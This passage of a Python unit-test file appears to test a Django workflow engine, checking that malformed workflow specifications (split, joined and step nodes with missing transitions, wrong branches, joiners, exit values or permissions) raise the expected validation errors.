'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
'exit_value': 101,
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
def test_joined_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-3', 'name': 'Loop-3',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'], 'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-3', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop-to-1',
}, {
'origin': 'loop-2', 'destination': 'loop-3', 'name': 'Loop', 'action_name': 'loop-to-3',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
'joiner': 'sample.support.dummy_joiner',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_joined_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-3', 'name': 'Loop-3',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'], 'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-3', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop-to-1',
}, {
'origin': 'loop-2', 'destination': 'loop-3', 'name': 'Loop', 'action_name': 'loop-to-3',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
'execute_permission': 'sample.cancel_task',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}, {
'type': NodeSpec.JOINED, 'code': 'joined', 'name': 'Joined',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
# testing split node
def test_split_node_without_inbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2', 'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoInbound.CODE,
'Invalid subclass of ValidationError raised')
def test_split_node_without_outbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1'
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2', 'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'End', 'action_name': 'end'
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Go Branch', 'action_name': 'go-branch'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoOutbound.CODE,
'Invalid subclass of ValidationError raised')
def test_split_node_without_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End'
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNotEnoughBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_split_node_with_one_branch_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNotEnoughBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_split_node_with_branches_in_other_workflow_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2', 'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End A', 'action_name': 'end_a'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input'
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial Transition',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Final Transition',
'action_name': 'end'
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input'
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial Transition',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Final Transition',
'action_name': 'end'
}]
}]}
target_wf = Workflow.Spec.install(spec)
spec2 = {'model': 'sample.Task', 'code': 'wfspec2', 'name': 'Workflow Spec 2', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'input', 'name': 'Input'
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'input', 'name': 'Initial Transition',
}, {
'origin': 'input', 'destination': 'exit', 'name': 'Final Transition',
'action_name': 'end'
}]
}]}
target_wf2 = Workflow.Spec.install(spec2)
node_spec = target_wf.spec.course_specs.get(code='').node_specs.get(code='loop-2')
node_spec.branches.add(target_wf2.spec.course_specs.get(code=''))
node_spec.branches.remove(target_wf.spec.course_specs.get(code='bar'))
node_spec.full_clean()
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeInconsistentBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_split_node_with_many_outbounds_and_no_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2', 'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End A'
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End B'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeInconsistentJoiner.CODE,
'Invalid subclass of ValidationError raised')
def test_split_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2', 'branches': ['foo', 'bar'],
'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
def test_split_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2', 'branches': ['foo', 'bar'],
'execute_permission': 'sample.cancel_task',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 1',
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
# testing step node
def test_step_node_without_inbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoInbound.CODE,
'Invalid subclass of ValidationError raised')
def test_step_node_with_no_outbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'step', 'name': 'step',
}, {
'type': NodeSpec.INPUT, 'code': 'state', 'name': 'State',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'state', 'name': 'Initial transition',
}, {
'origin': 'state', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'state', 'destination': 'step', 'name': 'Step transition',
'action_name': 'go-step',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoOutbound.CODE,
'Invalid subclass of ValidationError raised')
def test_step_node_with_many_outbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'step', 'name': 'step',
}, {
'type': NodeSpec.INPUT, 'code': 'state', 'name': 'State',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.EXIT, 'code': 'exit-2', 'name': 'Exit 2', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'state', 'name': 'Initial transition',
}, {
'origin': 'state', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'state', 'destination': 'step', 'name': 'Step transition',
'action_name': 'go-step',
}, {
'origin': 'step', 'destination': 'exit', 'name': 'Exit 1 transition',
}, {
'origin': 'step', 'destination': 'exit-2', 'name': 'Exit 2 transition',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasMultipleOutbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_step_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'loop-1', 'name': 'Loop-1',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Move'
}, {
'origin': 'loop-2', 'destination': 'exit', 'name': 'End'
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_step_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'loop-1', 'name': 'Loop-1',
'exit_value': 101
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
def test_step_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'loop-1', 'name': 'Loop-1',
'joiner': 'sample.support.dummy_joiner'
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_step_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.STEP, 'code': 'loop-1', 'name': 'Loop-1',
'execute_permission': 'sample.cancel_task',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
